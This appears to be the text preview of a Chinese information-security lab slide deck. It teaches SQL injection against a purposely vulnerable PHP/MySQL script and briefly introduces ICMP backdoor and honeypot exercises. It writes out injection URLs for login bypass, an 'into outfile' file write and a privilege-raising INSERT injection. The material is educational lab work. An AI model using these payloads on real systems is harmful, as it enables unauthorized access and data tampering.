信息安全实验演示培训材料

上传人:tian****1990 文档编号:82005377 上传时间:2019-02-23 格式:PPT 页数:52 大小:1.84MB
返回 下载 相关 举报
信息安全实验演示培训材料_第1页
第1页 / 共52页
信息安全实验演示培训材料_第2页
第2页 / 共52页
信息安全实验演示培训材料_第3页
第3页 / 共52页
信息安全实验演示培训材料_第4页
第4页 / 共52页
信息安全实验演示培训材料_第5页
第5页 / 共52页
点击查看更多>>
资源描述

《信息安全实验演示培训材料》由会员分享,可在线阅读,更多相关《信息安全实验演示培训材料(52页珍藏版)》请在金锄头文库上搜索。

1、信息安全实验演示,实验11 数据库安全 练习一 SQL注入 练习二 防范SQL注入 实验19 网络后门 练习二 无端口后门 实验24 蜜罐蜜网 练习二 DMZ区部署蜜罐,典型实验,SQL注入,实验人数: 每组1人 系统环境: linux 网络环境: 交换网络结构 实验工具: MySQL数据库 PHP脚本 实验类型: 综合型,实验设计理念: 随着计算机和网络技术的发展和日益普及,计算机信息的安全就日益成为系统成败的关键要素。而数据库作为信息的载体,它的安全自然就成了信息安全研究领域的一个非常重要方面。 数据库系统安全是指数据库系统建立安全措施,以保护数据库系统软件和其中的数据不因偶然和恶意的原因

2、而遭到破坏、更改和泄露。 由于大多数Web应用程序都需要使用数据库,于是数据库就变成了最常见的攻击目标之一。,SQL注入,实验设计目的: 了解SQL注入的基本原理 掌握PHP脚本访问MySQL数据库的基本方法 掌握程序设计中避免出现SQL注入漏洞的基本方法,SQL注入,实验原理: 1.SQL注入攻击 2.MySQL简介 3.实施SQL注入攻击 4.PHP简介 5.使用PHP从Web访问MySQL数据库,SQL注入,1.SQL注入攻击,(1)什么是SQL注入攻击 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。 (2)为

3、何会有SQL注入攻击 很多Web站点都会利用用户输入的参数动态的生成SQL查询要求,攻击者通过在URL、表格域,或者其他的输入域中输入自己的SQL命令,以此改变查询属性,骗过应用程序,从而可以对数据库进行不受限的访问。 (3)何时使用SQL注入攻击 当Web应用向后端的数据库提交输入时,就可能遭到SQL注入攻击。可以将SQL命令人为的输入到URL、表格域,或者其他一些动态生成的SQL查询语句的输入参数中,完成上述攻击。,4.PHP简介,1.PHP是什么 PHP,即“Hypertext Preprocessor”是一种服务器端脚本语言,它是专门为Web而设计的,其主要目标是让Web开发人员快速的

4、书写动态生成的网页。在一个HTML页面中,可以嵌入PHP代码,这些代码在每次页面被访问时执行。PHP代码将在Web服务器中被解释并且生成HTML或访问者看到的其他输出。 2.PHP能做什么 PHP主要是用于服务端的脚本程序,因此可以用PHP来完成任何其它的CGI程序能够完成的工作,例如收集表单数据,生成动态网页,或者发送/接收Cookies。 PHP脚本主要用于以下三个领域。 (1)服务端脚本 (2)命令行脚本 (3)编写客户端的GUI应用程序 PHP能够用在所有的主流操作系统上,包括Linux、Unix、Microsoft Windows、Mac OS X等。并且PHP已经支持了大多数的We

5、b服务器,包括Apache、IIS、PWS、Netscape等。,5.使用PHP从Web访问MySQL数据库,1.Web数据库架构的工作原理 给出Web数据库架构的基本步骤。 2.从Web查询数据库的基本步骤 (1)检查并过滤来自用户的数据。 (2)建立一个到数据库的连接。 (3)查询数据库。 (4)获取查询结果。 (5)将结果显示给用户。 3.PHP访问MySQL数据库 (1)连接到MySQL服务器。 (2)选择工作数据库。 (3)执行SQL查询。 (4)发送一条MySQL查询(PHP4.0.6起不提供使用此函数)。 (5)获取前一次MySQL操作所影响的记录行数。 (6)获取结果集中行的数

6、目。 (7)从结果集中获取一行作为关联数组。 (8)取得上一步INSERT操作产生的ID。 (9)关闭MySQL连接。,实验步骤: 本练习单人为一组。实验主要包括下面四个内容: 一PHP访问MySQL简单实例 1.创建隶属test数据库的user表 2.编写PHP脚本查询user数据库表 3.实施SQL注入 二搜索引擎注入 1.创建隶属test数据库的file表 2.编写HTML页面 3.编写PHP脚本查询file数据库表 4.SQL注入 三注入实现导出文件 四通过注入提升用户权限 1.创建隶属test数据库的register表 2.注册用户 3.SQL注入提升注册用户权限,SQL注入,1.

7、创建隶属test数据库的user表 (1)启动mysql服务 在控制台中输入service mysqld start命令启动mysql服务。 (2)在控制台中输入mysql,进入mysql客户端控制台(mysql)创建user数据库表 选择工作数据库test use test; 创建user数据库表 CREATE TABLE user(userid int(11) NOT NULL AUTO_INCREMENT, username varchar(20) NOT NULL DEFAULT “, password varchar(20) NOT NULL DEFAULT “, PRIMARY K

8、EY(userid)TYPE=MyISAM AUTO_INCREMENT=3; 插入两条数据信息 INSERT INTO user VALUES(1, “angel“, “mypass“); INSERT INTO user VALUES(2, “lblis“, “yourpass“); 查看数据库表 select * from user; 查看到的信息如右图所示。,一.PHP访问MySQL简单实例,一.PHP访问MySQL简单实例,2. 编写PHP脚本查询user数据库表 (1)编写access.php脚本 注:实验步骤中涉及到的mysql数据库操作命令和php脚本源码,均在 /opt/Ex

9、pNIS/HostSec-Lab/Projects目录中提供。 (2)测试 单击桌面控制面板中“Web浏览器”按钮,当我们在URL地址栏中提交: http:/本机IP/access.php?username=angel&password=mypass Web页面会提示“登录成功”,出现如下图所示界面。,一.PHP访问MySQL简单实例,3.实施SQL注入 (1)在URL地址栏中提交不同的地址,查看访问是否成功。 http:/本机IP/access.php?username=angel or 1=1 http:/本机IP/access.php?username=angel or 1=1 http

10、:/本机IP/access.php?username=angel%23 如上一页的页面所示,会提示访问是否成功,并且能看到此时的SQL查询语句。 (2)利用“/*”实现注入的URL,以及此时的SQL查询语句。 http:/本机IP/access.php?username=angel%2F%2A (3)单独向password注入逻辑运算,要求在只需知晓用户名的情况下实现登录。 http:/本机IP/access.php?username=&password=or 1=1 and username=angel (4)在不需要知晓用户名和密码的情况下实现登录。 通过猜测用户ID字段名称与用户序列号,

11、结合逻辑运算,向password进行注入。 http:/本机IP/access.php?username=&password= or 1=1 and userid=1,二搜索引擎注入,1.创建隶属test数据库的file表 (1)创建file数据库表 file数据库表结构结构如下: CREATE TABLE file ( fileid int(11) NOT NULL AUTO_INCREMENT, title varchar(20) NOT NULL DEFAULT “, author varchar(20) NOT NULL DEFAULT “, summary varchar(1024)

12、 NOT NULL DEFAULT “, PRIMARY KEY(fileid) TYPE=MyISAM AUTO_INCREMENT=3; ) (2)插入四条数据信息,二搜索引擎注入,2.编写HTML页面 通过HTML页面提交表单给服务器端PHP脚本,由PHP根据表单索引关键字对MySQL数据库进行查询,最后将查询结果返回给HTML页面。 # 指定处理表单请求的PHP脚本为search.php HTML页面如图所示。,二搜索引擎注入,3. 编写PHP脚本查询file数据库表 search.php会按search.htm提交的关键字对file数据库表进行模糊查询,并最终将查询结果显示在HTML

13、页面中。输入关键字“snort”,进行搜索,搜索结果中含有多少条记录。如下图所示。,二搜索引擎注入,4. SQL注入 (1)这里我们利用PHP脚本没有对关键字变量进行检查的漏洞进入SQL注入。输入关键字“%”进行搜索。结果如下图所示。,二搜索引擎注入,(2)输入关键字“_ORDER BY fileid#”。结果如下图所示。,三注入实现导出文件,本实验步骤仅为说明由于SQL注入而给服务器系统带来一定程度上的危害。 1.通过SQL注入来向服务器硬盘中写入大量无用的文件 利用了MySQL的“INTO OUTFILE”命令,将user数据库表中,满足cond条件的记录以INTO OUTFILE标准格式

14、导出到/etc/temp.txt文件中。 2.基于步骤一,写出能够实现(SQL注入)上述功能的URL。 http:/本机IP/access.php?username= or 1=1 into outfile /etc/temp.txt%23 从下图中我们可以看到注入后的浏览器页面和导出文件temp.txt的内容。,四通过注入提升用户权限,SQL注入不仅适用于SELECT语句,还有两个危害更大的操作,就是INSERT和UPDATE语句。 1.创建隶属test数据库的register表 切换至/opt/ExpNIS/HostSec-Lab/Projects/step3/目录; 执行脚本create

15、_table_register创建register数据库表; 创建完成后,我们可以通过describe register命令查看数据表包含的字段名称如下图所示:,2.注册用户 将/opt/ExpNIS/HostSec-Lab/Projects/step4/中的register.htm和register.php文件拷贝至/var/www/html目录下。 在Web浏览器URL地址栏中访问register.htm页面。 填写“用户名”、“用户口令”和“个人主页”信息,单击“注册”按钮注册。 如下图所示,该页是填写用户名:caoyan,用户口令:caoyan,个人主页为:http:后的信息。可以看到

16、注册用户级别(userlevel) 3 。,四通过注入提升用户权限,四通过注入提升用户权限,3.SQL注入提升注册用户权限 返回register.htm页面,用户名和用户口令不变,而“个人主页”填写下面的形式: http:/, 1)# 单击“注册”按钮,如下图所示,看到此时用户注册级别 1 。 可以看到此时PHP脚本中SQL查询语句。,无端口后门,实验人数: 每组2人 系统环境: windows 网络环境: 交换网络结构 实验工具: icmp_bd_client icmp_bd_server Snake_bd_client 贪吃蛇软件 网络协议分析器 实验类型: 验证型,无端口后门,实验设计理念: 网络后门作为信息安全领域网络攻防部分一个重要的知识点,在程序开发期间,后门的存在是为了便于测试、更改和增强模块的功能,它是一个模块的秘密入口,但是同时有后门的存在,也就给了黑客可乘之

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 高等教育 > 大学课件

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号